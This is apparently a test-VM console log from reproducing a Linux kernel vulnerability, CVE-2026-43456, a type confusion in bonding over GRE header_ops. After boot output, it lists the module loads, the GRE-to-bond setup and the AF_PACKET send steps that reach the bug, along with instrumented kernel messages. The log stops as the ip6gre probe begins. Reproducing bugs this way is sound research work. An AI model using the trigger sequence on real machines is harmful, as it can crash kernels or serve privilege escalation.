=== VULN ip6gre(noremote) run start 2026-07-03T09:23:21+00:00 === c[?7lSeaBIOS (version 1.17.0-debian-1.17.0-1ubuntu1) iPXE (https://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+BEFC8B80+BEF08B80 CA00 Press Ctrl-B to configure iPXE (PCI 00:03.0)... Booting from ROM..c[?7l[ 0.000000] Linux version 6.18.18 (vscode@70a156dd6cfb) (gcc (Ubuntu 15.2.0-16ubuntu1) 15.2.0, GNU ld (GNU Binutils for Ubuntu) 2.46) #1 SMP PREEMPT_DYNAMIC Fri Jul 3 09:09:05 UTC 2026 [ 0.000000] Command line: root=/dev/vda rootwait init=/init console=ttyS0,115200 panic=1 oops=panic loglevel=7 nokaslr rw [ 0.000000] BIOS-provided physical RAM map: [ 0.000000] BIOS-e820: [mem 0x0000000000000000-0x000000000009fbff] usable [ 0.000000] BIOS-e820: [mem 0x000000000009fc00-0x000000000009ffff] reserved [ 0.000000] BIOS-e820: [mem 0x00000000000f0000-0x00000000000fffff] reserved [ 0.000000] BIOS-e820: [mem 0x0000000000100000-0x00000000bffdcfff] usable [ 0.000000] BIOS-e820: [mem 0x00000000bffdd000-0x00000000bfffffff] reserved [ 0.000000] BIOS-e820: [mem 0x00000000fffc0000-0x00000000ffffffff] reserved [ 0.000000] BIOS-e820: [mem 0x0000000100000000-0x000000013fffffff] usable [ 0.000000] BIOS-e820: [mem 0x000000fd00000000-0x000000ffffffffff] reserved [ 0.000000] NX (Execute Disable) protection: active [ 0.000000] APIC: Static calls initialized [ 0.000000] SMBIOS 2.8 present. [ 0.000000] DMI: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014 [ 0.000000] DMI: Memory slots populated: 1/1 [ 0.000000] tsc: Fast TSC calibration using PIT [ 0.000000] tsc: Detected 3000.101 MHz processor [ 0.022042] last_pfn = 0x140000 max_arch_pfn = 0x400000000 [ 0.022670] MTRR map: 4 entries (3 fixed + 1 variable; max 19), built from 8 variable MTRRs [ 0.022901] x86/PAT: Configuration [0-7]: WB WC UC- UC WB WP UC- WT [ 0.023720] last_pfn = 0xbffdd max_arch_pfn = 0x400000000 [ 0.040559] found SMP MP-table at [mem 0x000f5450-0x000f545f] [ 0.053878] ACPI: Early table checksum verification disabled [ 0.054405] ACPI: RSDP 0x00000000000F5250 000014 (v00 BOCHS ) [ 0.054758] ACPI: RSDT 0x00000000BFFE2452 000034 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.055628] ACPI: FACP 0x00000000BFFE22EE 000074 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.056433] ACPI: DSDT 0x00000000BFFE0040 0022AE (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.056644] ACPI: FACS 0x00000000BFFE0000 000040 [ 0.056759] ACPI: APIC 0x00000000BFFE2362 000090 (v03 BOCHS BXPC 00000001 BXPC 00000001) [ 0.056841] ACPI: HPET 0x00000000BFFE23F2 000038 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.056952] ACPI: WAET 0x00000000BFFE242A 000028 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.057108] ACPI: Reserving FACP table memory at [mem 0xbffe22ee-0xbffe2361] [ 0.057161] ACPI: Reserving DSDT table memory at [mem 0xbffe0040-0xbffe22ed] [ 0.057193] ACPI: Reserving FACS table memory at [mem 0xbffe0000-0xbffe003f] [ 0.057221] ACPI: Reserving APIC table memory at [mem 0xbffe2362-0xbffe23f1] [ 0.057250] ACPI: Reserving HPET table memory at [mem 0xbffe23f2-0xbffe2429] [ 0.057279] ACPI: Reserving WAET table memory at [mem 0xbffe242a-0xbffe2451] [ 0.063124] No NUMA configuration found [ 0.063171] Faking a node at [mem 0x0000000000000000-0x000000013fffffff] [ 0.064470] NODE_DATA(0) allocated [mem 0x13fff9900-0x13fffcfff] [ 0.066817] Zone ranges: [ 0.066854] DMA [mem 0x0000000000001000-0x0000000000ffffff] [ 0.066992] DMA32 [mem 0x0000000001000000-0x00000000ffffffff] [ 0.067034] Normal [mem 0x0000000100000000-0x000000013fffffff] [ 0.067074] Movable zone start for each node [ 0.067106] Early memory node ranges [ 0.067136] node 0: [mem 0x0000000000001000-0x000000000009efff] [ 0.067304] node 0: [mem 0x0000000000100000-0x00000000bffdcfff] [ 0.067358] node 0: [mem 0x0000000100000000-0x000000013fffffff] [ 0.067487] Initmem setup node 0 [mem 0x0000000000001000-0x000000013fffffff] [ 0.068870] On node 0, zone DMA: 1 pages in unavailable ranges [ 0.072033] On node 0, zone DMA: 97 pages in unavailable ranges [ 0.788649] On node 0, zone Normal: 35 pages in unavailable ranges [ 1.027224] KernelAddressSanitizer initialized (generic) [ 1.027920] ACPI: PM-Timer IO Port: 0x608 [ 1.028492] ACPI: LAPIC_NMI (acpi_id[0xff] dfl dfl lint[0x1]) [ 1.029105] IOAPIC[0]: apic_id 0, version 32, address 0xfec00000, GSI 0-23 [ 1.029307] ACPI: INT_SRC_OVR (bus 0 bus_irq 0 global_irq 2 dfl dfl) [ 1.029650] ACPI: INT_SRC_OVR (bus 0 bus_irq 5 global_irq 5 high level) [ 1.029731] ACPI: INT_SRC_OVR (bus 0 bus_irq 9 global_irq 9 high level) [ 1.029846] ACPI: INT_SRC_OVR (bus 0 bus_irq 10 global_irq 10 high level) [ 1.029974] ACPI: INT_SRC_OVR (bus 0 bus_irq 11 global_irq 11 high level) [ 1.030492] ACPI: Using ACPI (MADT) for SMP configuration information [ 1.030685] ACPI: HPET id: 0x8086a201 base: 0xfed00000 [ 1.031451] CPU topo: Max. logical packages: 1 [ 1.031486] CPU topo: Max. logical dies: 1 [ 1.031510] CPU topo: Max. dies per package: 1 [ 1.031626] CPU topo: Max. threads per core: 1 [ 1.031818] CPU topo: Num. cores per package: 4 [ 1.031850] CPU topo: Num. threads per package: 4 [ 1.031895] CPU topo: Allowing 4 present CPUs plus 0 hotplug CPUs [ 1.033010] PM: hibernation: Registered nosave memory: [mem 0x00000000-0x00000fff] [ 1.033090] PM: hibernation: Registered nosave memory: [mem 0x0009f000-0x000fffff] [ 1.033135] PM: hibernation: Registered nosave memory: [mem 0xbffdd000-0xffffffff] [ 1.033266] [mem 0xc0000000-0xfffbffff] available for PCI devices [ 1.033345] Booting paravirtualized kernel on bare hardware [ 1.033749] clocksource: refined-jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1910969940391419 ns [ 1.166311] setup_percpu: NR_CPUS:64 nr_cpumask_bits:4 nr_cpu_ids:4 nr_node_ids:1 [ 1.169296] percpu: Embedded 64 pages/cpu s222360 r8192 d31592 u524288 [ 1.172266] Kernel command line: root=/dev/vda rootwait init=/init console=ttyS0,115200 panic=1 oops=panic loglevel=7 nokaslr rw [ 1.174856] Unknown kernel command line parameters "nokaslr", will be passed to user space. [ 1.175219] printk: log buffer data + meta data: 262144 + 917504 = 1179648 bytes [ 1.184478] Dentry cache hash table entries: 524288 (order: 10, 4194304 bytes, linear) [ 1.201142] Inode-cache hash table entries: 262144 (order: 9, 2097152 bytes, linear) [ 1.206121] software IO TLB: area num 4. [ 1.264651] Fallback order for Node 0: 0 [ 1.265262] Built 1 zonelists, mobility grouping on. Total pages: 1048443 [ 1.265333] Policy zone: Normal [ 1.265622] mem auto-init: stack:all(zero), heap alloc:off, heap free:off [ 1.265697] stackdepot: allocating hash table via alloc_large_system_hash [ 1.265836] stackdepot hash table entries: 1048576 (order: 12, 16777216 bytes, linear) [ 1.274347] stackdepot: allocating space for 8192 stack pools via memblock [ 1.528421] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=4, Nodes=1 [ 1.551166] Dynamic Preempt: voluntary [ 1.561452] rcu: Preemptible hierarchical RCU implementation. [ 1.561484] rcu: RCU event tracing is enabled. [ 1.561517] rcu: RCU restricting CPUs from NR_CPUS=64 to nr_cpu_ids=4. [ 1.561669] Trampoline variant of Tasks RCU enabled. [ 1.561696] Tracing variant of Tasks RCU enabled. [ 1.561852] rcu: RCU calculated value of scheduler-enlistment delay is 100 jiffies. [ 1.561938] rcu: Adjusting geometry for rcu_fanout_leaf=16, nr_cpu_ids=4 [ 1.564767] RCU Tasks: Setting shift to 2 and lim to 1 rcu_task_cb_adjust=1 rcu_task_cpu_ids=4. [ 1.564902] RCU Tasks Trace: Setting shift to 2 and lim to 1 rcu_task_cb_adjust=1 rcu_task_cpu_ids=4. [ 2.024623] NR_IRQS: 4352, nr_irqs: 456, preallocated irqs: 16 [ 2.038220] rcu: srcu_init: Setting srcu_struct sizes based on contention. [ 2.047925] Console: colour VGA+ 80x25 [ 2.050679] printk: legacy console [ttyS0] enabled [ 2.073325] ACPI: Core revision 20250807 [ 2.085234] clocksource: hpet: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604467 ns [ 2.092067] APIC: Switch to symmetric I/O mode setup [ 2.102463] ..TIMER: vector=0x30 apic1=0 pin1=2 apic2=-1 pin2=-1 [ 2.113996] clocksource: tsc-early: mask: 0xffffffffffffffff max_cycles: 0x2b3ea5075fe, max_idle_ns: 440795340958 ns [ 2.115023] Calibrating delay loop (skipped), value calculated using timer frequency.. 6000.20 BogoMIPS (lpj=3000101) [ 2.120419] Last level iTLB entries: 4KB 512, 2MB 255, 4MB 127 [ 2.120605] Last level dTLB entries: 4KB 512, 2MB 255, 4MB 127, 1GB 0 [ 2.121098] mitigations: Enabled attack vectors: user_kernel, user_user, SMT mitigations: auto [ 2.122116] Spectre V2 : Mitigation: Retpolines [ 2.122473] Spectre V1 : Mitigation: usercopy/swapgs barriers and __user pointer sanitization [ 2.122950] Spectre V2 : Spectre v2 / SpectreRSB: Filling RSB on context switch and VMEXIT [ 2.124326] x86/fpu: x87 FPU will use FXSAVE [ 2.592045] Freeing SMP alternatives memory: 52K [ 2.593351] pid_max: default: 32768 minimum: 301 [ 2.604376] LSM: initializing lsm=capability,selinux [ 2.607907] SELinux: Initializing. [ 2.620119] Mount-cache hash table entries: 8192 (order: 4, 65536 bytes, linear) [ 2.620771] Mountpoint-cache hash table entries: 8192 (order: 4, 65536 bytes, linear) [ 2.774549] smpboot: CPU0: AMD QEMU Virtual CPU version 2.5+ (family: 0xf, model: 0x6b, stepping: 0x1) [ 2.800164] Performance Events: PMU not available due to virtualization, using software events only. [ 2.801843] signal: max sigframe size: 1440 [ 2.804836] rcu: Hierarchical SRCU implementation. [ 2.805059] rcu: Max phase no-delay instances is 400. [ 2.808640] Timer migration: 1 hierarchy levels; 8 children per group; 1 crossnode level [ 2.833087] smp: Bringing up secondary CPUs ... [ 2.847108] smpboot: x86: Booting SMP configuration: [ 2.847305] .... node #0, CPUs: #1 #2 #3 [ 3.069049] smp: Brought up 1 node, 4 CPUs [ 3.069752] smpboot: Total of 4 processors activated (24010.56 BogoMIPS) [ 3.092301] Memory: 3434476K/4193772K available (28106K kernel code, 8962K rwdata, 11980K rodata, 5644K init, 2064K bss, 754396K reserved, 0K cma-reserved) [ 3.112775] devtmpfs: initialized [ 3.172784] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1911260446275000 ns [ 3.173731] posixtimers hash table entries: 2048 (order: 3, 32768 bytes, linear) [ 3.175161] futex hash table entries: 1024 (65536 bytes on 1 NUMA nodes, total 64 KiB, linear). [ 3.182850] PM: RTC time: 09:23:25, date: 2026-07-03 [ 3.195313] NET: Registered PF_NETLINK/PF_ROUTE protocol family [ 3.209801] audit: initializing netlink subsys (disabled) [ 3.213974] audit: type=2000 audit(1783070605.114:1): state=initialized audit_enabled=0 res=1 [ 3.227935] thermal_sys: Registered thermal governor 'step_wise' [ 3.228984] cpuidle: using governor menu [ 3.242613] PCI: Using configuration type 1 for base access [ 3.244400] mtrr: your CPUs had inconsistent fixed MTRR settings [ 3.245617] mtrr: your CPUs had inconsistent variable MTRR settings [ 3.246626] mtrr: your CPUs had inconsistent MTRRdefType settings [ 3.246824] mtrr: probably your BIOS does not setup all CPUs. [ 3.248589] mtrr: corrected configuration. [ 3.253276] kprobes: kprobe jump-optimization is enabled. All kprobes are optimized if possible. [ 3.263499] HugeTLB: registered 2.00 MiB page size, pre-allocated 0 pages [ 3.264354] HugeTLB: 28 KiB vmemmap can be freed for a 2.00 MiB page [ 3.278719] ACPI: Added _OSI(Module Device) [ 3.279096] ACPI: Added _OSI(Processor Device) [ 3.279254] ACPI: Added _OSI(Processor Aggregator Device) [ 3.837601] ACPI: 1 ACPI AML tables successfully acquired and loaded [ 3.928415] ACPI: Interpreter enabled [ 3.931870] ACPI: PM: (supports S0 S3 S4 S5) [ 3.932218] ACPI: Using IOAPIC for interrupt routing [ 3.934117] PCI: Using host bridge windows from ACPI; if necessary, use "pci=nocrs" and report a bug [ 3.934409] PCI: Using E820 reservations for host bridge windows [ 3.957444] ACPI: Enabled 2 GPEs in block 00 to 0F [ 4.775697] ACPI: PCI Root Bridge [PCI0] (domain 0000 [bus 00-ff]) [ 4.777461] acpi PNP0A03:00: _OSC: OS supports [ASPM ClockPM Segments MSI HPX-Type3] [ 4.778378] acpi PNP0A03:00: _OSC: not requesting OS control; OS requires [ExtendedConfig ASPM ClockPM MSI] [ 4.783477] acpi PNP0A03:00: fail to add MMCONFIG information, can't access extended configuration space under this bridge [ 4.797242] PCI host bridge to bus 0000:00 [ 4.799240] pci_bus 0000:00: root bus resource [io 0x0000-0x0cf7 window] [ 4.799702] pci_bus 0000:00: root bus resource [io 0x0d00-0xffff window] [ 4.800668] pci_bus 0000:00: root bus resource [mem 0x000a0000-0x000bffff window] [ 4.801660] pci_bus 0000:00: root bus resource [mem 0xc0000000-0xfebfffff window] [ 4.801947] pci_bus 0000:00: root bus resource [mem 0xc000000000-0xc07fffffff window] [ 4.802861] pci_bus 0000:00: root bus resource [bus 00-ff] [ 4.805580] pci 0000:00:00.0: [8086:1237] type 00 class 0x060000 conventional PCI endpoint [ 4.830344] pci 0000:00:01.0: [8086:7000] type 00 class 0x060100 conventional PCI endpoint [ 4.848832] pci 0000:00:01.1: [8086:7010] type 00 class 0x010180 conventional PCI endpoint [ 4.851707] pci 0000:00:01.1: BAR 4 [io 0xc0c0-0xc0cf] [ 4.852761] pci 0000:00:01.1: BAR 0 [io 0x01f0-0x01f7]: legacy IDE quirk [ 4.853626] pci 0000:00:01.1: BAR 1 [io 0x03f6]: legacy IDE quirk [ 4.853905] pci 0000:00:01.1: BAR 2 [io 0x0170-0x0177]: legacy IDE quirk [ 4.854124] pci 0000:00:01.1: BAR 3 [io 0x0376]: legacy IDE quirk [ 4.872050] pci 0000:00:01.3: [8086:7113] type 00 class 0x068000 conventional PCI endpoint [ 4.873495] pci 0000:00:01.3: quirk: [io 0x0600-0x063f] claimed by PIIX4 ACPI [ 4.874650] pci 0000:00:01.3: quirk: [io 0x0700-0x070f] claimed by PIIX4 SMB [ 4.891387] pci 0000:00:02.0: [1234:1111] type 00 class 0x030000 conventional PCI endpoint [ 4.893514] pci 0000:00:02.0: BAR 0 [mem 0xfd000000-0xfdffffff pref] [ 4.894615] pci 0000:00:02.0: BAR 2 [mem 0xfebb0000-0xfebb0fff] [ 4.894835] pci 0000:00:02.0: ROM [mem 0xfeba0000-0xfebaffff pref] [ 4.896503] pci 0000:00:02.0: Video device with shadowed ROM at [mem 0x000c0000-0x000dffff] [ 4.914001] pci 0000:00:03.0: [8086:100e] type 00 class 0x020000 conventional PCI endpoint [ 4.914973] pci 0000:00:03.0: BAR 0 [mem 0xfeb80000-0xfeb9ffff] [ 4.915211] pci 0000:00:03.0: BAR 1 [io 0xc080-0xc0bf] [ 4.915599] pci 0000:00:03.0: ROM [mem 0xfeb00000-0xfeb7ffff pref] [ 5.218649] pci 0000:00:04.0: [1af4:1001] type 00 class 0x010000 conventional PCI endpoint [ 5.221260] pci 0000:00:04.0: BAR 0 [io 0xc000-0xc07f] [ 5.221655] pci 0000:00:04.0: BAR 1 [mem 0xfebb1000-0xfebb1fff] [ 5.222035] pci 0000:00:04.0: BAR 4 [mem 0xc000000000-0xc000003fff 64bit pref] [ 5.580728] ACPI: PCI: Interrupt link LNKA configured for IRQ 10 [ 5.605455] ACPI: PCI: Interrupt link LNKB configured for IRQ 10 [ 5.628741] ACPI: PCI: Interrupt link LNKC configured for IRQ 11 [ 5.652116] ACPI: PCI: Interrupt link LNKD configured for IRQ 11 [ 5.661049] ACPI: PCI: Interrupt link LNKS configured for IRQ 9 [ 5.750392] iommu: Default domain type: Translated [ 5.750622] iommu: DMA domain TLB invalidation policy: lazy mode [ 5.766795] SCSI subsystem initialized [ 5.774479] ACPI: bus type USB registered [ 5.778344] usbcore: registered new interface driver usbfs [ 5.779975] usbcore: registered new interface driver hub [ 5.781039] usbcore: registered new device driver usb [ 5.783451] pps_core: LinuxPPS API ver. 1 registered [ 5.784606] pps_core: Software ver. 5.3.6 - Copyright 2005-2007 Rodolfo Giometti [ 5.786769] PTP clock support registered [ 5.795681] Advanced Linux Sound Architecture Driver Initialized. [ 5.820875] NetLabel: Initializing [ 5.821600] NetLabel: domain hash size = 128 [ 5.821793] NetLabel: protocols = UNLABELED CIPSOv4 CALIPSO [ 5.825617] NetLabel: unlabeled traffic allowed by default [ 5.835817] PCI: Using ACPI for IRQ routing [ 5.841549] pci 0000:00:02.0: vgaarb: setting as boot VGA device [ 5.841549] pci 0000:00:02.0: vgaarb: bridge control possible [ 5.841549] pci 0000:00:02.0: vgaarb: VGA device added: decodes=io+mem,owns=io+mem,locks=none [ 5.841649] vgaarb: loaded [ 5.846114] hpet: 3 channels of 0 reserved for per-cpu timers [ 5.846766] hpet0: at MMIO 0xfed00000, IRQs 2, 8, 0 [ 5.847642] hpet0: 3 comparators, 64-bit 100.000000 MHz counter [ 5.854509] clocksource: Switched to clocksource tsc-early [ 5.870713] VFS: Disk quotas dquot_6.6.0 [ 5.871305] VFS: Dquot-cache hash table entries: 512 (order 0, 4096 bytes) [ 5.894305] pnp: PnP ACPI init [ 5.968503] pnp: PnP ACPI: found 6 devices [ 6.172915] clocksource: acpi_pm: mask: 0xffffff max_cycles: 0xffffff, max_idle_ns: 2085701024 ns [ 6.175490] NET: Registered PF_INET protocol family [ 6.179761] IP idents hash table entries: 65536 (order: 7, 524288 bytes, linear) [ 6.210520] tcp_listen_portaddr_hash hash table entries: 2048 (order: 3, 32768 bytes, linear) [ 6.211244] Table-perturb hash table entries: 65536 (order: 6, 262144 bytes, linear) [ 6.211830] TCP established hash table entries: 32768 (order: 6, 262144 bytes, linear) [ 6.214355] TCP bind hash table entries: 32768 (order: 8, 1048576 bytes, linear) [ 6.217891] TCP: Hash tables configured (established 32768 bind 32768) [ 6.220734] UDP hash table entries: 2048 (order: 5, 131072 bytes, linear) [ 6.221680] UDP-Lite hash table entries: 2048 (order: 5, 131072 bytes, linear) [ 6.227186] NET: Registered PF_UNIX/PF_LOCAL protocol family [ 6.239884] RPC: Registered named UNIX socket transport module. [ 6.240142] RPC: Registered udp transport module. [ 6.240439] RPC: Registered tcp transport module. [ 6.240724] RPC: Registered tcp-with-tls transport module. [ 6.240891] RPC: Registered tcp NFSv4.1 backchannel transport module. [ 6.263839] pci_bus 0000:00: resource 4 [io 0x0000-0x0cf7 window] [ 6.264132] pci_bus 0000:00: resource 5 [io 0x0d00-0xffff window] [ 6.264424] pci_bus 0000:00: resource 6 [mem 0x000a0000-0x000bffff window] [ 6.264786] pci_bus 0000:00: resource 7 [mem 0xc0000000-0xfebfffff window] [ 6.264997] pci_bus 0000:00: resource 8 [mem 0xc000000000-0xc07fffffff window] [ 6.272262] pci 0000:00:01.0: PIIX3: Enabling Passive Release [ 6.272711] pci 0000:00:00.0: Limiting direct PCI/PCI transfers [ 6.274005] PCI: CLS 0 bytes, default 64 [ 6.275745] PCI-DMA: Using software bounce buffering for IO (SWIOTLB) [ 6.275961] software IO TLB: mapped [mem 0x00000000bbfdd000-0x00000000bffdd000] (64MB) [ 6.341337] Initialise system trusted keyrings [ 6.346999] workingset: timestamp_bits=56 max_order=20 bucket_order=0 [ 6.375634] NFS: Registering the id_resolver key type [ 6.376432] Key type id_resolver registered [ 6.376732] Key type id_legacy registered [ 6.380956] 9p: Installing v9fs 9p2000 file system support [ 6.649791] Key type asymmetric registered [ 6.650339] Asymmetric key parser 'x509' registered [ 6.652696] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 251) [ 6.654190] io scheduler mq-deadline registered [ 6.654525] io scheduler kyber registered [ 6.668668] input: Power Button as /devices/LNXSYSTM:00/LNXPWRBN:00/input/input0 [ 6.680891] ACPI: button: Power Button [PWRF] [ 7.201969] ACPI: \_SB_.LNKD: Enabled at IRQ 11 [ 7.216528] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled [ 7.230255] 00:04: ttyS0 at I/O 0x3f8 (irq = 4, base_baud = 115200) is a 16550A [ 7.282497] Non-volatile memory driver v1.3 [ 7.282887] Linux agpgart interface v0.103 [ 7.289276] ACPI: bus type drm_connector registered [ 7.315824] tsc: Refined TSC clocksource calibration: 3000.108 MHz [ 7.316425] clocksource: tsc: mask: 0xffffffffffffffff max_cycles: 0x2b3eab6bb84, max_idle_ns: 440795272340 ns [ 7.317424] clocksource: Switched to clocksource tsc [ 7.508065] loop: module loaded [ 7.510754] virtio_blk virtio0: 4/0/0 default/read/poll queues [ 7.550506] virtio_blk virtio0: [vda] 408144 512-byte logical blocks (209 MB/199 MiB) [ 7.667900] scsi host0: ata_piix [ 7.683774] scsi host1: ata_piix [ 7.690077] ata1: PATA max MWDMA2 cmd 0x1f0 ctl 0x3f6 bmdma 0xc0c0 irq 14 lpm-pol 0 [ 7.690466] ata2: PATA max MWDMA2 cmd 0x170 ctl 0x376 bmdma 0xc0c8 irq 15 lpm-pol 0 [ 7.722967] e100: Intel(R) PRO/100 Network Driver [ 7.723170] e100: Copyright(c) 1999-2006 Intel Corporation [ 7.724506] e1000: Intel(R) PRO/1000 Network Driver [ 7.724781] e1000: Copyright (c) 1999-2006 Intel Corporation. [ 7.854867] ata2: found unknown device (class 0) [ 7.861437] ata2.00: ATAPI: QEMU DVD-ROM, 2.5+, max UDMA/100 [ 7.881733] scsi 1:0:0:0: CD-ROM QEMU QEMU DVD-ROM 2.5+ PQ: 0 ANSI: 5 [ 7.918662] sr 1:0:0:0: [sr0] scsi3-mmc drive: 4x/4x cd/rw xa/form2 tray [ 7.919494] cdrom: Uniform CD-ROM driver Revision: 3.20 [ 7.977511] sr 1:0:0:0: Attached scsi generic sg0 type 5 [ 8.224003] ACPI: \_SB_.LNKC: Enabled at IRQ 10 [ 8.539254] e1000 0000:00:03.0 eth0: (PCI:33MHz:32-bit) 52:54:00:12:34:56 [ 8.540734] e1000 0000:00:03.0 eth0: Intel(R) PRO/1000 Network Connection [ 8.543934] e1000e: Intel(R) PRO/1000 Network Driver [ 8.544303] e1000e: Copyright(c) 1999 - 2015 Intel Corporation. [ 8.545855] sky2: driver version 1.30 [ 8.568139] usbcore: registered new interface driver usblp [ 8.569737] usbcore: registered new interface driver usb-storage [ 8.572928] i8042: PNP: PS/2 Controller [PNP0303:KBD,PNP0f13:MOU] at 0x60,0x64 irq 1,12 [ 8.580330] serio: i8042 KBD port at 0x60,0x64 irq 1 [ 8.581280] serio: i8042 AUX port at 0x60,0x64 irq 12 [ 8.594685] rtc_cmos 00:05: RTC can wake from S4 [ 8.597683] input: AT Translated Set 2 keyboard as /devices/platform/i8042/serio0/input/input1 [ 8.615298] rtc_cmos 00:05: registered as rtc0 [ 8.619681] rtc_cmos 00:05: alarms up to one day, y3k, 242 bytes nvram, hpet irqs [ 8.631488] device-mapper: ioctl: 4.50.0-ioctl (2025-04-28) initialised: dm-devel@lists.linux.dev [ 8.633285] amd_pstate: the _CPC object is not present in SBIOS or ACPI disabled [ 8.635126] hid: raw HID events driver (C) Jiri Kosina [ 8.663402] usbcore: registered new interface driver usbhid [ 8.663744] usbhid: USB HID core driver [ 8.691547] Initializing XFRM netlink socket [ 8.693756] NET: Registered PF_INET6 protocol family [ 8.720749] Segment Routing with IPv6 [ 8.722082] In-situ OAM (IOAM) with IPv6 [ 8.724882] sit: IPv6, IPv4 and MPLS over IPv4 tunneling driver [ 8.740222] NET: Registered PF_PACKET protocol family [ 8.743010] 9pnet: Installing 9P2000 support [ 8.744326] Key type dns_resolver registered [ 8.763282] IPI shorthand broadcast: enabled [ 9.066764] input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input3 [ 9.443627] sched_clock: Marking stable (9384054305, 59522677)->(9474179662, -30602630) [ 9.459388] registered taskstats version 1 [ 9.459765] Loading compiled-in X.509 certificates [ 9.866182] Demotion targets for Node 0: null [ 9.875765] PM: Magic number: 2:8:373 [ 9.876237] vc vcsa1: hash matches [ 9.876701] netconsole: network logging started [ 9.882470] cfg80211: Loading compiled-in X.509 certificates for regulatory database [ 9.899283] kworker/u16:0 (69) used greatest stack depth: 29312 bytes left [ 9.921203] Loaded X.509 cert 'sforshee: 00b28ddf47aef9cea7' [ 9.927364] Loaded X.509 cert 'wens: 61c038651aabdcf94bd0ac7ff06c7248db18c600' [ 9.931747] ALSA device list: [ 9.931968] No soundcards found. [ 9.936131] faux_driver regulatory: Direct firmware load for regulatory.db failed with error -2 [ 9.936898] cfg80211: failed to load regulatory.db [ 9.944470] check access for rdinit=/init failed: -2, ignoring [ 9.945091] md: Waiting for all devices to be available before autodetect [ 9.945340] md: If you don't use raid, use raid=noautodetect [ 9.945675] md: Autodetecting RAID arrays. [ 9.945822] md: autorun ... [ 9.945936] md: ... autorun DONE. [ 9.973224] EXT4-fs (vda): mounting ext2 file system using the ext4 subsystem [ 10.026092] EXT4-fs (vda): mounted filesystem 00000000-0000-0000-0000-000000000000 r/w without journal. Quota mode: none. [ 10.085981] ext2 filesystem being mounted at /root supports timestamps until 2038-01-19 (0x7fffffff) [ 10.087979] VFS: Mounted root (ext2 filesystem) on device 253:0. [ 10.107441] devtmpfs: mounted [ 10.214184] Freeing unused kernel image (initmem) memory: 5644K [ 10.214919] Write protecting the kernel read-only data: 40960k [ 10.221253] Freeing unused kernel image (text/rodata gap) memory: 564K [ 10.223626] Freeing unused kernel image (rodata/data gap) memory: 308K [ 10.807259] x86/mm: Checked W+X mappings: passed, no W+X pages found. [ 10.808253] Run /init as init process [init] === CVE-2026-43456 bonding header_ops type-confusion trigger === [init] cmd: uname -r 6.18.18 [ 11.362308] uname (77) used greatest stack depth: 26440 bytes left [ 11.374370] sh (75) used greatest stack depth: 26184 bytes left [init] cmd: cat /proc/version Linux version 6.18.18 (vscode@70a156dd6cfb) (gcc (Ubuntu 15.2.0-16ubuntu1) 15.2.0, GNU ld (GNU Binutils for Ubuntu) 2.46) #1 SMP PREEMPT_DYNAMIC Fri Jul 3 09:09:05 UTC 2026 [init] STEP: loading modules [init] cmd: /sbin/modprobe bonding 2>&1 || /sbin/insmod /root/mods/bonding.ko 2>&1 || true [ 11.983895] modprobe (82) used greatest stack depth: 24960 bytes left [init] cmd: /sbin/modprobe dummy 2>&1 || /sbin/insmod /root/mods/dummy.ko 2>&1 || true [init] cmd: /sbin/modprobe ip_gre 2>&1 || /sbin/insmod /root/mods/ip_gre.ko 2>&1 || true [ 12.235952] gre: GRE over IPv4 demultiplexer driver [ 12.262755] ip_gre: GRE over IPv4 tunneling driver [init] cmd: /sbin/modprobe ip6_gre 2>&1 || /sbin/insmod /root/mods/ip6_gre.ko 2>&1 || true [ 12.521065] ip6_gre: GRE over IPv6 tunneling driver [init] cmd: /sbin/modprobe gre 2>&1 || true [init] cmd: /sbin/modprobe ip_tunnel 2>&1 || true [init] STEP: dummy0 underlay (10.0.0.1/24 + fd00::1/64) [init] cmd: /sbin/ip link set lo up [init] cmd: /sbin/ip link add dummy0 type dummy RTNETLINK answers: File exists [init] cmd: /sbin/ip addr add 10.0.0.1/24 dev dummy0 [init] cmd: /sbin/ip addr add fd00::1/64 dev dummy0 [init] cmd: /sbin/ip link set dummy0 up [init] ==== PROBE A: ipgre (IPv4 GRE) : gre1 -> bond1 active-backup ==== [init] cmd: /sbin/ip link add gre1 type gre local 10.0.0.1 2>&1 || true [init] cmd: /sbin/ip link add bond1 type bond mode active-backup 2>&1 || true [init] cmd: /sbin/ip link set gre1 master bond1 2>&1 || true [ 13.700848] bond1: (slave gre1): The slave device specified does not support setting the MAC address [ 13.701437] bond1: (slave gre1): Setting fail_over_mac to active for active-backup mode [ 13.718914] bond1: (slave gre1): making interface the new active one [ 13.721406] bond1: (slave gre1): Enslaving as an active interface with an up link [init] cmd: /sbin/ip link set gre1 up 2>&1 || true [init] cmd: /sbin/ip link set bond1 up 2>&1 || true [ 13.932393] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [init] cmd: /sbin/ip addr add fe80::1/64 dev bond1 2>&1 || true [ 14.025738] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [init] ---- PROBE A trigger AF_PACKET on bond1 ---- [ 14.226625] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [init] AF_PACKET sendto(bond1) rc=-1 (Invalid argument) [ 14.332508] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [init] udp6 sendto ff02::1%bond1 rc=-1 (Cannot assign requested address) [ 14.404501] ip_gre: CVE-2026-43456 ipgre_header: dev=bond1 hlen=0 needed=20 headroom=160 [init] ==== PROBE B: ip6gre (IPv6 GRE) : ip6gre1 -> bond7 active-backup ==== [init] cmd: /sbin/ip link add ip6gre1 type ip6gre local fd00::1 2>&1 || true [init] cmd: /sbin/ip link add bond7 type bond mode active-backup 2>&1 || true [init] 